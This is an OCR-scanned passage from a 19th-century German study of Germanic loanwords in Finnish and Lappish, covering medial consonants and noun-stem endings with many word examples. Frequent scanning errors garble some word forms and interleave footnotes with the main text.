2) Beispiele mit dem jüngeren v sind f. holvi, gewölbe, sw.
hvdlf'y kiivu, scheibe, sw. sJcifva; liivi, gen. -n, leibchen, wcste,
sw. lif(rock).
Inlaut: muta; |>. 73
einer Verstärkung in einer offenen eintritt, wie im finn,
regehnässig in der loatgruppe ht, z. b. mahti, gen. -hdin,
macht; tuhto, gen. -hdon, ruderbank, popta; luhti,
gen. -hdin, dachboden, sw. lofl;^ ferner z. b. in f. virka,
gen. viran, amt, verk{?); katu, gen. kadun, gasse,
gdta-, nauta, gen. naudan, vieh, waw^; vati, gen. vadin,
fass, sw. fat; mallas, gen. maltaan, malz; oder 1.64
virgge, gen. virge, amt; navdde, gen. navde, .thier;
buojdde, gen. -jde, fett, feitr; navdaset, gemessen,
^ f. nautita; vuoppat, 1. pers. vuobam, schreien,
(Bpa. Besonders scheint diess da stattzufinden, wo die starke
form durch die ganze flexion durchgehen sollte, z. b. f. lei-
kari, gaukler, leikari; suutari, Schuster, stitari; ku-
pari, kupfer, koparJ Bei den media scheint die Verstär-
kung zu fehlen in f. suru, gen. -n, sorge (vgl. surku,
gen. -run, mitleid). * Weit seltener werden die ursprüng-
lichen media mit den tenues vermischt; beispiele sind finn.
vaate\ gen. -tteen, kleid, vdd; f. kynttilä, 1. gintal,
kerze, kyndill; 1. latto, gen. ebenso, glied, vgl. lidr;
1. n u ortta, nordest.
Ton den Spiranten wird ursprüngliches p ganz ebenso
behandelt wie d, z. b. f. autia, öde, got. aups; f. mato,
gen. madon, 1. matto, gen. mado, wurm, got. mapa{?);
1. ladas, gen. laddas, glied, got. lipus. Von der laut-
gruppe Ip, die im altn. zu U zusammengezogen ist, wie
np zu nn, erscheint die ursprüngliche form in f. k alta,
gen. kallan, schräg, abhängig, hallr; kulta, gen. -llan.
1) Dagegen 1. dnofto, gen. duovto; lofta, lokta, gen. lovta
(s. 43). In finn. ht kann h entweder ursprünglich oder aus g, k oder
f entstanden sein; die lautgrappe.kt kann im finn. nicht yorkommen.
2) Uebrigens kann es auch hie und da in jüngeren entlehnungen
yorkommen, dass die tenues ganz gegen die regel sich unyerändert
erhalten, besonders nach langem yocal, z. b. f. riiki, gen. riikin,
reich, riki; kaapu, gen. kaapun, mantel, käpa,
3) In neueren Worten ist diess im finn. sehr gewohnlich bei urspr.
g (altsw. gh d. h. y)j z. b. poryari, bürger, sw. horga/re\ (k)rouyi,
schenke, sw. krog-, kori, korb, sw. korg-, tori, markt, sw. torg-,
touyi, tau, tog\ yäri, farb6, sw. fä/rg, niiata, neigen, sw. nigck.
Bei d findet yielleicht dasselbe statt in sivu, seite^ siäa.
74 €onsonanten.
gold, gull, wogegen bemts das lapp. hier die zusammen-
gezogene form g oll e hat; ebenso sw.-l. sadnes, wahr,
sannr, ags. söä. In f. murha, mord, muss h einem urspr.
p oder <f ent^rechen (vgl. huopa s. 65). Ob p in 1. fapme,
f atme, umarmung, faämr^ ursprünglich ist, ist zweifelhaft
Sicher ist , dass zwischen 1. d d und d d kein etymologischer
unterschied stattfindet, wie eine vergleichung von ladde,
kleid, ags. ddäy oder des angeführten 1 a d a s mit r a d d e , rath,
ruoddo, rede, vgl. got. rödjan^ beweist; dd scheint vorzugs-
weise nach a und uo , d d dagegen sonst gebraucht zu werden.
F vor. einem consonanten geht im finn. in h über; im
lapp. wird es beibehalten oder in k (v) verwandelt , wie z. b.
in den oben angeführten werten f. tuhto, 1. duofto;
f. luhti, 1. lofta; f. uhri, opfer; f. tuhla, kartoffel.
Soweit es sich sonst in etwas älteren entlehnungen voraus-
65 setzen lässt, muss es mit b zusammengefallen sein. In
neueren (unnordischen) Wörtern bleibt es zwischen zwei voca-
len im lapp. unverändert und wird im finn. mit hv wieder-
gegeben, z. b. 1. oaffar, opfer, ehst. ohwer; £ kahveli,
ehst. kahwel, gabel, sw. gaffel; ehst. krahw, graf.
Ein ursprüngliches h scheint vorzuliegen in f mar ha-,
das nur in den ableitungen marhain, gen. -haimen,
Zügel, und dem eher davon erweiterten als zusammenge-
setzten marhaminta, halfter, vorkommt, {marry ahd.
mark, mar ah, pferd); und verstärkt zu h k in f. vihkiä,
1. pers. vihin, einweihen, got. veihan; ferner vielleicht als
ä in 1. liSSa, sense, Ijdr (wo ein h ausgefallen zu sein
scheint). Ferner ist h vor t erhalten in f. ruhtina, fürst,
ahd. truhtm^ und vermuthlich in f. rehti, redlich, got.
raikts, und tihtiä (s. das wortverz.), dicht, sowie zu v
(s. 41) verändert in lapp. divtes, dicht, livtes, glatt,
got. slaihts] rieft, riekta, rievtes, recht. Dagegen
scheint es mit g zusammengefallen und in k übergegangen
zu sein in f. akana, spreu, got. ahana, und in f. raaka,
rahe, stange, rd (vgl. s. 65 f.). ^
1) Zweifelhaft kann es sein, ob h ursprünglich oder vielleicht aus
einem (gehauchten) g (y) entstanden ist in f. saha, sage, säg; denn
obwol man hier nach der lautverschiebung ein h erwarten sollte (vgl.
Inlaut: f, h; nasale. 75
Alle Übrigen tönenden consonanten werden in der regel
in beiden sprachstämmen einfach und so wiedergegeben,
dass man sie leicht wiedererkennen kann. Nur muss man
sich rücksichtlich des lappischen beständig an die auch hier
eintretende Verstärkung erinnern, z. b. dadne, gen. dane,
zinn; guobme, gen. guome, gaumen, gömr; goallo,
gen. goalo, lampe, kda, u. s. w. Wenn der consonant
ursprünglich geminiert war, so wird die Verstärkung durch
die ganze flexion hin beibehalten; z. b. gadno, gen. ebenso,
kanne , kanna ; f a d n o , gen. ebenso, angelica , hvönn ; 1 u d n e ,
ToUe , Munnr ; biello, schelle, bjalla; mässet, 1. pers.
mässam, verlieren, missä. Auch im finnischen werden
stets die geminierten tönenden consonanten von den einfachen 66
unterschieden, z.b. kannu, kanne, aber hamara, hammer
an der axt, hamarr, u. s. w.
Einige einzelheiten, namentlich die besonders alten
formen, sind noch zu besprechen. Die lautgruppe ns, deren
n im altn. verloren ist, blieb erhalten in f. ansas, balken,
dss, got. ans, und kansa, volk (ehst. käza, genösse, s.24),
got. hansa. Im läpp, ist eine selbständige assimilation in
dem jenem letztgenannten werte entsprechenden ga;;e,
gesellschafk (s. 40), eingetreten. Ebenso assimiliert sich hier
regelmässig ein nasal einem folgenden g, d, b (s. ebenda),
z.b. riegges, ring, fagge, ringkampf, fang; badde,
band; saddit, senden, got. sandjan; suddo, Sünde;
vaddo, gefahr, vandi; labbes oder labes, lanmi;
gavpug, Stadt, = f. kaupunki; gonagas, könig, = f.
kuningas. ^ Ausnahmen kommen nur bei einzelnen neuen
lat. secare; s. Lottner in der Ztschr. f. vgl. sprf. XI, s. 193), so ist
diess doch in keiner der germanischen sprachen erhalten. Inf. maha,
bauch (vgl. mako, magen), könnte h vielleicht auch aus g entstan-
den sein. Wenn 'zehnte' (altn. und altsw. Hund) neben tiunti
auch t ihn nti heisst, so muss das h hier später eingeschoben sein
(trotz got taihim, zehn). Wie es sich mit f. rauha, 1. rafhe,
ruhe, Mede, verhält^ das mit altn. rö verwandt zu sein scheint, kann
ich nicht entscheiden.
1) Eine spur des verlorenen n kann man noch darin sehen, dass
der vorhergehende consonant nicht verstärkt wird (also nicht gavppug,
godnagas).
76 Oonsonanten.
•
entlehnungen vor, z. b. ssenga, bett, sceng; (d)raBnga,
knabe, knecht, drengr; dimbar, zimmer, timbr. Seltener
ist die assimilation an die tenues, z. b. lakke, kette,
Mekkr; fac, handschuh, vöttr; hier haben vielleicht die jün-
geren (isländisch -) norwegischen formen einen einfluss aus-
geübt. . — Ein eigenthmnlicher Übergang von m findet sich
in 1. ravdnje, ström, = f. rauma; 1. savdnje, saum^
» f. sauma.
S wird im finn. oft durch h wiedergegeben; es muss
bisweilen auch in solchen werten noch vorausgesetzt werden,
wo es später in r übergegangen ist. Beispiele sind: f. kihla
(1. g il h e nach dem finn.), verlöbniss, gisl; ahku, aschen-
kloss, aska, got. a^gö;^ ahjo, esse; löysä, löyhä, los,
keihäs, spiess, vgl. geirr;^ erhe^ irrthum, vgl. got
airzei; asnata und ansaita, verdienen, ahd. arnen, Ygl
got. asneis ftia^urvog. Eine grosse reihe anderer beispiele
werden wir in dem folgenden abschnitte sehen. Dagegen
zeigt sich der rhotacismus schon in den ziemlich alten lap-
pischen entlehnungen divrre, thier, got. dius; garre,
gefass, got. kas; sw.-l. aire, kupfer, got. aiz. Für die
67 bewahrung von got. ^d kann ich kein sicheres beispiel
anfahren ; wenn f. ota, spitz , zu altn. oddr gehört , so muss
es wol jünger sein als die assimilation (vgl. das wortver-
zeichniss).
J findet sich oft noch , wo es im altn. fortgefallen ist
(vgl. s. 61). Im finnischen wird es nach einem vocal oder
einfachem t (d. h. urspr. d, p), 1, r und h, wenn ein kurzer
vocal vorhergeht , mit j , in allen übrigen filllen regelmässig
mit i bezeichnet, vor welchem eine muta naturlich durch-
1) Welche von diesen beiden formen zu gründe liegt — voraus-
gesetzt, dass die vergleichung richtig ist — wage ich nicht zu ent-
scheiden; der Übergang in h könnte am meisten für -zg- zu sprechen
scheinen.
2) Die Wurzel dieses Wortes liegt in einer doppelten gestalt, theils
mit 8, theils mit r vor. Im finn. erscheint die erstere ausser in kei-
häs wahrscheinlich auch in kaisila, kaihila, kaisla, binsen, die
letztere dagegen in kaira, bohrer. Vgl. s. 56 und das wortver-
zeichniss.
Inlaut: s, j. 77
gehends verstärkt wird; so patja, Unterbett; vitja, kette,
t?iä, pl. -jar; aljo, untüchtiges weib; teljo, ruderbank,
pilja; varjo, schütz, schatten; ahjo, esse; akkio, schüt-
ten, *ekja; tunkio, mist, dyngja; lattia, fussboden, flet;
autia, öde, got. aups, acc. aufjana; hartio, Schulter;
kaltio, quelle; vartia, Wächter, got. vardja; kammio,
kammer, skemma; kallio, kUppe, hellcu Ein vorhergehen-
des g nach einem kurzen vocal ist mit ersatzdehnung aus-
gefallen in f. vaaja (seltener vavia, dorp.-ehst. waga),
keil , veggr. ^ — Das lappische hat j ungefähr in denselben
fällen wie das finnische; mit s schmilzt es zu § zusammen;
im übrigen ist es dagegen verschwunden, hat aber doch in
einer anzahl von worten eine spur seines Vorhandenseins
dadurch hinterlassen, dass der vorhergehende cousonant die
starke form durch die ganze flexion beibehält. Mitunter
kann man diess vielleicht einer assimilation zuschrei-
ben, aber im allgemeinen scheint es eher darauf hinzu-
weisen, dass ein i ausgefallen ist, welches wie im finn.
eine unveränderlich offene silbe bildete.* Beispiele: uvja,
daunen(?); avje, heu; avjo (far *agjo, vgl. f. vavia),
schneide, egg; sivjug, Schwester derfrau, sifjungr; vaerjo, .
Waffen; aSäo, häufe von glühenden kohlen, nw. esja;
mukko, mist; bruggo, brücke; rivggo, gen. ebenso,
bäuerin; latte, gen. ebenso, fussboden; galddo, gen.
ebenso (Leem ; vielleicht jedoch -Ido),* quelle, brunnen;
harddo, pl. -ddok, Schulter; ladde, gen. ebenso, tuch;
stadde, gen. ebenso, amboss, steäi, gen. -äja; skärrek,
sw.-l. skarjah, scheere; aber auch ruoddo, gen. ruodo, 68
rede, u. s. w. In einigen emzelnen worten scheint j im
läpp, zu ö zu werden; so in sw.-l. außo ==*nw.-l. avjo;
1) Vielleicht ist jedoch diess wort litauischen Ursprungs (s. das
wortverz.); aber der genannte Übergang bleibt immer derselbe.
2) Vgl. s. 39 note 1. Das dort angeführte sakko hat ebenso im
gen. sakko, während sakko, busse, sako hat, =» f. sakko,
sakon.
3) Die form kaldio bei Tomaeus j(Pred. 12, 6) neben dem hänfi-
geren kaldo (Pred. 2, 6. Sprüche 5, 18. 25, 36) ist vermuthlich nur
eine nachahmung des finnischen.
•7S Consonanten.
auöe, prunus padus, heggr; nw.- und sw.-l. skavööa,
bart, skegg; skalööo, schale, got. sJcalja.^
V ist immer deutlich von ursprünglichem h unterschie-
den. ^ Es erscheint z. b. in f. vaiva, 1. vajvve, mühe,
(s. 57); f. s aivo, klare stelle in einem see, (das.); karvas,
bitter (s. 65); terva, theer, tjara, vgl. tyrvi, kienholz; —
läpp, fjervva, strand, fjara, vgl. fyrvir, es wird ebbe;
arvas, freigebig, örr, acc. örvan; garves, fertig, görr^
acc. -rvan-, garvvo, kleidung, görvi; marfe, wurst, mörr,
dat. -rvi; spalfo, s pallo, schwalbe, ags. svcdeve;
stadfo, landungsplatz , stöä, gen. -Svar; vielleicht auch
sw.-l. blaves, blau, ahd. bläwer; graves, grau, ahd.
gräwer, ^ In einigen werten scheint es in k (g) überzugehen,
nämlich in f. aika, 1. ajgge, zeit, (s. 57); f. narka, eng,
ags. nearu, gen. -rves; raaka, roh, ahd. hrawer.
Beim zusammenstoss mehrerer consonanten können die
lautgesetze der finnischen sprachen sich in verschiedener
weise^ geltend machen. Vor 1 und r ersetzt so das lappische
nebst einigen finnischen dialekten gewöhnlich die tenues (die
hier meist aus ursprünglichen media oder p herstammen)
durch diphthongierung oder Verlängerung des vorhergehen-
1) Nach k ist j möglicherweise auch fortgefallen in f. kirkko,
1, girkko, kirche, kyrkja, und vielleicht in ein paar anderen Wor-
ten; vgl. unten die ja- stamme. — üeher spuren des j in der ver-
balflexion s. den folgenden abschnitt.
2) Verstärkt zu p scheint v nur in dem auch betreffs der endung
etwas unklaren f. arpi, gen. arven, narbe, ör oder örr, dat. örvi
(dessen Stammform übrigens auch unsicher ist), zu sein, und in dem
sehr bestrittenen f. hepo, gen. hevon, pferd, wenn man diess mit
Munch (Norskt Maanedsskr. I, s. 27 f.) für entstanden halten will aus
got. aiHt^s, d. h. ehvs (durch metathesis); doch ist diess wol ebenso
zweifelhaft, als die gewöhnliche Zusammenstellung mit dän. hoppe,
sw. dial. hoppa, stute. Wenn ehst. raibe, gen. raipe, aas, mit
got. hraiv zusammenzustellen ist, ist v sogar noch um eine stufe
weiter verstärkt worden.
3) Innw. -1. smavva (smaves?), klein, smär, undskuovva,
schuh, ist dagegen v nur als ^n einschiebsei zu be1a*achten (vgl. ahd.
amähif got. sköhs)] sollte dasselbe in den beiden oben genannten
Worten der fall sein?
Inlaut: y, consonftatenverbindungen. 79
den Yocals (vgl. s. 24. 4i), z. b. f. nakla und naula,
1. navlle, nagel, nagli; f. niekla und neula, nadel,
got nepla;^ f. vuokra und voura, zins (s. 67); f. atra,
aatra, aara, aura (für *artra), pflüg, arär;^ kapris 69
und kauris, bock, hafr. F. ailas, plage, kann kaum
von got. agls, alaxQog^ getrennt werden, obwol keiner der
dialekte in diesem worte k (g) hai ^
Im lappischen tritt bisweilen durchgehends oder nur in
einzelnen dialekten eine Umstellung von consonanten ein,
besonders wenn der letzte ein 1 oder r ist (vgl. saervve
s. 41), z. b. gilhe (s. 76); skalvve, Schneewehe, skafl;
sarje, wunde (s. 57); harves (aber sw.-l. habres), bock;
wahrscheinlich auch in viercca, widder, vedr, (vgl. den
nächsten abschnitt). — Assimilation findet besonders bei
nasalen statt, wofür wir oben beispiele im läpp, sahen;
andere sind wahrscheinlich f. mylly, 1. millo, mühle,
mylna^ und 1. bodne, boden, dessen en.'-l. form ponne
zu beweisen scheint, dass dn nicht unmittelbar = altn. tn
ist (botn), sondern dass eine assimilation zu n n dazwischen
liegt. — Wenn der consonantenzusammenstoss zu hart wer-
den würde, ohne dass man ihm auf eine der genannten
arten abhelfen könnte, so wird ein vocal eingeschoben, im
1) Hier rnnss kl statt der schwer sprechbaren lantgruppe tl ste-
hen, vgl. siekla, seula, s. 24, welches mit altsl. und russ. cedilo
zusammenzugehören scheint.
2) Dagegen muss das letzte r gewiss bereits in der Stammform
für f. murha, mord, got. mawrfr, altn. morä, fortgefallen sein.
3) In Worten von etwas jüngerer form ist dieser Übergang, beson-
ders der von g vor 1 , r und n , ausserordentlich gewöhnlich und durch-
gängig in allen dialekten, z. b. f. hauli, schrot, sw. hagel; leili,
lägel, Ugill; peili, Spiegel, sw. spegel; keila, kegel, sw. kägle;
seilata, segeln, sw. segla; tiili, ziegel, sw. tegel (altn. tigly nyl.
%«Z); leiri, lager, sw. läger; uuni (bei M. Agricola wghni), ofen,
sw. ugn; vaunu, wagen, sw. vagn; siunata, segnen; läpp, sivd-
nedet, id., sivlle, mast, fdgla; gavnek, hausgeräth, gagn;
Isejra, leder. Auf ähnliche weise geht g (und b) vor j bisweilen in
V Über, vgl. s. 77.
4) Vgl. f. halla, nachtfrost, von lit szalnä (vgl. lett. sa'lna,
altsl. slana); f. villa, wolle, von lit. vilnä (vgl. lett. willa, altsl.
vlüna).
80 ConsonaDten.
finn. meist i, im lapp. a, z. b/finn. markinat, 1. mar-
kan, Jahrmarkt, mar1cnaär\ f. hamina, hafen, Frederiks-
hamn, sw. hamn-, 1. suokkan, kirchspiel, sokn.^
1) In den meisten dreisilbigen Wörtern ist jedoch der vocal der
zweiten silbe ursprünglich und entspricht genau der Stammform, z. b.
f. hamara, hammer; hunaja, honig(8. 72); 1. ajlegas, heilig
(das.); f. antura, schlittenbaum, öndwrr, andri; autuas, 1. audo-
gas, selig (das.); f. kakkula, zugstrang, skökull; satula, sattel,
södull; tikkuri, decher, altsw. diX;ur ; arina, herd, amin; kattila,
kessel; murkina, frühstück, got. mawrgins; ruhtina, fürst; zwei-
felhafter karilas, abgelebter greis, vgl. das wortverz. unter gal es.
IL Die endungen.
A. Nomina.
Wie wir in der einleitung gesehen haben , ziehen es die 70
finnischen sprachen in der regel vor, die werte auf einen
vocal auslauten zu lassen, während die consonanten, welche
überhaupt im auslaut gebraucht werden können^ sehr gering
an zahl und namentlich in einsilbigen Wörtern in ihrer
anwendung sehr beschränkt sind. Im vergleich zum alt-
nordischen und den neueren nordischen sprachen zeigt sich
also dort ein durchgreifender unterschied, da in diesen aller-
lei consonanten und consonantenverbindungen im auslaut
vorkommen können , und zwar mindestens eben so häufig wie
die vocale. Bei der aufiiahme von nominibus , die auf conso-
nanten endigen, suchen die finnischen sprachen ihren aus-
lautgesetzen und flexionen gemäss dieselben durch anfägung
eines vocals als stamm- oder, was dasselbe ist, nominativ-
endung sich anzupassen. In den meisten fällen ist dieser
angefügte vocal ohne rücksicht auf das ursprüngliche
geschlecht — ein unterschied, von dem die finnischen spra-
chen durchaus nichts wissen — oder die sonstige flexion der
Wörter, im finnischen ein i, im lappischen das diesem laute
entsprechende a (ä); diess letztere kann jedoch bisweilen im
nominativ selbst einsilbiger Wörter ausgelassen werden (s. 39),
das erstere dialektisch ebenso nach bestimmteren regeln (s. 30 f.).
Beispiele sind finn. hauli, schrot, sw. hagel; kaali, kohl;
korppi, rabe, sw. korp; kuppi, tasse, sw. kopp; laki,
gesetz, sw. lag; lasi, glas; leikki, spiel, leik; luhti,
boden, sw. loft; muuri, mauer; peili, Spiegel; penkki,
bank; pukki, bock; ruuni, braun; tulli, zoll; tuoli,
stuhl; uuni, ofen, sw. ugn; vahti, wacht; vati, fass;
villi, rahm, sw. ß (s. 65); kupari, kupfer; meininki,
Thomseu, Einfluss d. germ. sprachen. Q
82 Die endungen.
meinimg; — läpp, bitta, stück, Ut; bokka, bock;
71 bsenkka, bank; (d)rauga, gespenst, nw. drang; (g)lassa,
glas; goarppa, rabe; havlla, schrot; hsesta, pferd,
hestr; (t)ruossa, kreuz, kross; lakka, gesetz; Isejkka,
spiel; mäkka, Schwager; nova, ecke, nw. not? (s. 64) ;
skipa, schiff; (skuovva, schuh); (t)ruolla, zauberer;
vakta, wacht; spaejal, pl. -ak, Spiegel, und unzählige
andere. Gewöhnlich ist diese endung, namentlich das finn.
-i, gen. -in, ein sicheres zeichen dafür, dass die entleh-
nung der jüngeren gruppe angehört. Zusammen mit den
alten diphthongen (ei rechne ich nicht, s. 56) kommt es im
finn. schwerlich in anderen werten vor alsinauskari, austi
= öysti, kaupunki (s. 58), mit mangel des i-umlau-
tes nur in ein paar werten , wovon unten s. 94. ^ Weniger
häufig ist es, dass bei jüngeren entlehnungen finn. a, ä
(s. 24) läpp, e (a?) angeffigt wird, z. b. f. höylä, hobel;
lakka, lack;* löysä, los; mera, märä, stute, merr;
pispa, piispa, bischof, sw. bisp; viila, feile; kynttilä,
1) Welches der grund dafür ist , dass gerade dieser vocal den
vorzng erlangt hat, ist schwer zu sagen; wahrscheinlich kann es
doch nur daran liegen, dass dieser vocal als der schwächste gefühlt
wird. Man könnte auch an den einfluss 'des nordischen postpositiven
artikels denken, um so mehr, als die endung -i verhältnissmässig
selten in werten slavischen Ursprungs vorkommt, welche auf einen
harten consonanten Cb) endigen. Doch wird diess unwahrscheinlich
dadurch, dass dieselbe endung auch in den südlichen sprachen, ehst-
nisch und livisch (in welch' letzterer sie gewöhnlich zu 9 wird) bei
Worten angewandt wird, welche aus dem deutschen aufgenommen sind;
z. b. ehst. kämm, pl. kammid, kämm; höwel, pl. -vlid, hobel;
keim, -id, schelm; korv, -id, korb; mür', -id, mauer, plattd.
mwre; to IT, -lid, zoll (in beiden bedeutungen); töver, töber, zuber;
vir, -id, feile; liv. k'emm, pl. -öd; evil', skel'm, -pd; kurv, -od;
mür, -Qd;torr, -öd; vil, -öd. Unverkennbar in Verbindung hier-
mit (namentlich was das livische angeht), steht der umstand, dass
auch im lettischen (weniger regelmässig im litauischen) die aus dem
deutschen aufgenommenen Wörter gewöhnlich zu ja -stammen werden,
die im masc. auf -is, im fem. auf -e endigen; so lauten hier diesel-
ben Worte k' emme f iwelis, schk'elmis, kurms, müris, tuUis, toweris,
wile, (Vgl. Bielenstein , Die lett Sprache I , s. 477 ff.)
2) Zum unterschied von lakki, haube; aber das ehst. hat lakk,
gen. laki, lack.
Die endnngen. 83
kerze (s. 73); hamina, hafen, sw. hamn; lakana, laken
(so immer in dreisilbigen Wörtern nach n und oft nach 1);
läpp, gjelle (s. 60); gukse, schöpfgefäss , im.koks; kjef-
manne, kaufmann; viste, wohnung, vist. Noch seltener
sind die übrigen vocale, wie f. masto (auch m asti), mast;
sielu, seele; värsy, vers; 1. sisello, seele; studio, stuhl.
Diess muss für die falle genügen, wo das finnisch -lap- 72
pische einen vocal an werte angefugt hat, welche in der
Stammsprache consonantisch auslauteten. In einer menge
anderer werte hat dagegen die endung keinen so späten und
zufälligen Charakter, sondern sie muss auf die eine oder
andere weise bereits in der stammsprache vorhanden gewe-
sen sein. Diess gilt zunächst von allen den Wörtern, die
in den neueren sprachen auf einen vocal ausgehen, nament-
lich von allen schwachen nominibus. Aber auch ausserhalb
dieser wird man vielleicht schon unter den im vorhergehen-
den angeführten beispielen von lehnwörtern der älteren
gruppe verschiedene bemerkt haben, deren endungen in
auffallendem grade an 'die ursprünglicheren auslautsformen
der germanischen sprachen erinnern, aus denen die jetzigen
durch fortwerfung zunächst des stammauslautes , dann der
flexionsendungen hervorgegangen sind. Obwol man natür-
lich , wenn man es bloss mit entlehnungen zu thun hat und
zugleich mit so verschiedenartigen sprachen, wie die germa-
nischen und finnischen sind, nicht erwarten darf eine voll-
ständige und durchgreifende Übereinstimmung zu finden, so
glaube ich doch, dass sich eine so bedeutende reihe
schlagender züge in dieser beziehung nachweisen lässt, dass
diese unmöglich aiff einem blossen zufall beruhen können,
sondern einer mechanischen erhaltung der ursprünglichen
Verhältnisse zugeschrieben werden müssen, welche zum theil
durch die ungleichartigkeit der beiden sprachklassen gerade
begünstigt sein kann, namentlich insofern, als die finnischen
sprachen keine besondere nominativendung haben. Ich werde
im folgenden den beweis hierfür zu liefern versuchen,^
1) Ich ftige hinzu, dass man die eine oder andere andentung in
äbnUcher richtung, doch fast nur bei den am meisten in die äugen
84 Stamme auf -a.
indem ich Ton der eintheilung der wortstämme in den ger-
manischen sprachen ausgehe. Es wird dabei zugleich von
nutzen sein, wiederh^olt einen Seitenblick auf die regeln zu
werfen, nach denen die endungen in den zahlreichen aus
dem litauischen aufgenommenen Wörtern behandelt werden,
da wir in diesen eine indogermanische spräche vor uns haben,
in der tdie ursprünglichen formen sich noch bis auf den
heutigen tag fast unverändert erhalten haben.
73 I, Yocalische stamme.
la. Stämme auf -a.
Mascnlina.
Bei den aus dem litauischen aufgenommenen abstam-
men, die wir zuerst betrachten wollen, endet der nominatir
und der stamm im finnischen entweder auf -as, -äs, gen.
-ahan, -aan, ähän, -ään (vgl. s. 24, 30 note 1) oder
auf -a, -ä, z. b. finn., ehst. ratas, liv. ratas, rad, = Iit.
ratas; f. hammas, gen. hampa(h)an, weps. hambas,
ehst.' hammas, gen. -mba, wot. ammas, gen. -mpä,
liv. ämbas (grundfonn hambas, s. 27), zahn, =lit. mm-
haSj lett. fubs, altsl. i3qhU;^ f., weps., ehst. oinas, ham-
mel, = Iit. dvinas (s. 63 note 2); f. porsas, ehst. porzas.
fallenden werten, schon bei früheren Schriftstellern finden kann, z. b.
bei L. Diefenbach und D. E. D. Eoropaßus in der ztschr. Suomi, 2te
reihe, VII, s. 33, vgl. s. 168 u. s. w. (mit einiger ungenauigkeit in
den nicht finnischen formen).
1) Das lit. wort bedeutet nach Nesselmann ' die kante eines hai-
keus '; das lautlich genau entsprechende, alfer formell jüngere let-
tische wort hat dagegen, wie das slawische, die ursprüngliche bedeu-
tung 'zahn' bewahrt (skr. ganibhas, zahn, gr. y6^(f>og, zahn, nagel,
yoiu<f{osy backenzahn; vgl. Curtius, Grdz. d. gr. Etym. *, s. 159). Das
acht finnische wort für *zalm' ist pii (s. s. 23), welches jetzt nur
'zahn in einer harke, einem kämm u. desgl., stacfael, ecke' bedeutet;
hier hat also ein ähnlicher bedeutungsübergang stattgefunden, wie im
litauischen und griechischen, oder in unserm kämm, altn. kambr,
welches unzweifelhaft mit dem angeführten wort identisch ist. (Diess
beispiel wird zugleich zeigen können, wie vorsichtig man darin sein
muss, culturhistorische Schlüsse aus sprachlichen entlehnungen zu
ziehen.)
Stämme auf -a. 85
liv. puöras, pl. puorzod, ferkel, = Iit. pärszas-, f. tai-
vas, ehst. taewas, liv. tövas, himmel , = Iit. (fövas, gott;
f. heinä (s. 37), heu, = Iit. szenas:, f. tarha, ehst., liv.
tara, garten, zäun, =^ Iit därias; f. kakla, kaula,
weps. kagl, gen. -an, ehst. kael (kaul, käl), gen. -a,
wot. kagla, liv. kaggol, kagl, kai, hals, == ]it käMas,
VL. V. a. Was nun die endung -as betrifft, die in acht fin-
nischen werten nicht sehr häufig ist ^ und z. b. in entleh-
nungen aus dem slawischen gar nicht vorkommt, so wird
wol niemand leugnen, dass dieselbe geradezu aus der lit.
nominativendung -as (jetzt gewöhnlich nur -s) zu erklären
ist , so dass diese zum ^tammauslaut erstarrte. In der andern
endung -a könnte man vielleicht eine art abstraction des
ursprünglichen stammauslautes sehen, der auch ausser dem
nominativ im lit. in einzelnen flexionsformen hervortritt; 74
zunächst 'Wird man indess gewiss an die accusativform den-
ken, die im lit. auf -a endet (jetzt wie kurzes a ausge-
sprochen). ^
Wenden wir uns nun zu den aus den germanischen
sprachen aufgenommenen Wörtern dieser klasse, so haben
diejenigen, bei denen die übrige form auf ein höheres alter
hinweist, so gut wie ausschliesslich dieselben zwei endungen,
entweder f. -as, -äs, läpp, -es (-is), -as,^ oder häu-
1) Vgl. Bergstadi, Materialier tili Pinska sprakets ordbildnings-
lära, in der ztschr. Suomi 1859, s. 178.
2) Für älteres -an, -am (s. Schleicher, Handb. d. lit. spr. I,
s. 7*, 73, 171. Comp. », s. 317, 323, 543), wie lett. -u (s. Bielenstein, •
Die lett. Spr. I , s. 148 ; 11 , s. 11). Der nasal muste jedesfaUs im finn.
fortfallen, da diese spräche keine stamme auf -an (ebensowenig über-
haupt auf -n, einige auf -en ausgenommen) und nur sehr wenige auf
- a m hat (s. Bergstadi , a. a. o. s. 170). Als blosse vermuthung stelle
ich es hin, ob es dessen ungeachtet dieser nasal sein kann, der aus-
nahmsweise in f. morsian, stamm morsiam- für mortiam-,
braut, == lit. martt, acc. märczq, für *martjan, *martjam zum Vor-
schein kommt.
3) lu den sw. - 1. bächern herrscht eine vollständige Verwirrung in
bezug auf diese - a s und -es, die doch die spräche selbst wol schwer-
lich kennt. So hat die bibelübersetzung von 1811 z. b. svainas,
knabe, knecht (Matth. 18, 26. 32), neben dem richtigeren und gewöhn-
licheren SV aines (das. v. 29); und ebenso z. b. im infin. pl. sowol
86 Stäimne auf -a.
figer, namentlich bei Substantiven, f. -a, -ä, 1. -e. Bei-
spiele für -as, -äs sind:
a) substantiva: f. ailas, schmerz (s. 79); ansas, bal-
ken, got. ans; keihäs, spiess; kuningas, könig; par-
mas, paarmaS; busen, barmr; parmas^ heuhaufe,
farmr(^); parras, gen. partaan, rand (s. das wortverz.);
rengas, ring; ruhtinas, fürst, dröttinn; tursas, meer-
ungeheuer, ^wr5; valas, walfisch; varas, gen. varkaan,
dieb, got. vargs; — läpp, gal es, alter mann, Jcarl; go-
nagas, könig; harves, sw.-l. habres, bock, hafr;
jetanas, riese, jöYwww; riegges, ring; vales, fales,
walfisch; vielpes, junger hund, hvdpr; vievses, wespe;
sw.-l. feres, kessel, hverr; svaines, knabe, knecht,
sveinn.
ß) adjectiva: f. armas, lieb, theuer, vgl. got. arms;
autuas, selig (s. 72); harras, gen. hartaan, eifrig,
fromm, harär; hurskas, rechtfertig, horshr; kallas,
75 schräg, hallr; karvas, bitter (s. 65); kernas, willig;
sairas, krank (s. 57); viisas, weise;— 1. ajlegas, hei-
lig; divtes, dicht; garves, fertig, görr; haitis, heiss;
lades, mild, gl€Lär{?); Iines, weich, linr; livtes, glatt,
schlicht; saltes, salzig, saKr; soames, irgend ein, swmr;
stuores, gross, störr; sures, sauer; vades, schwierig,
vandr; vides, weit; vises, weise; visses, gewiss; sw.-l.
ailes, heil, unbeschädigt, heilig,, ÄdB; armes, erbärm-
lich; audes, öde; blaves, blau; drivkes, derb, stark,
,drjügr; graves, grau; sadnes, wahr, sannr; saines,
langsam, spät.
Beispiele für -a sind:
a) substantiva: f. aika, zeit, got. aivs; antura,
Schlittenbaum, öndurr; arina, heerd, arinn; atra, pflüg,
arär (neutr.?); hamara, hammer an der axt; havukka,
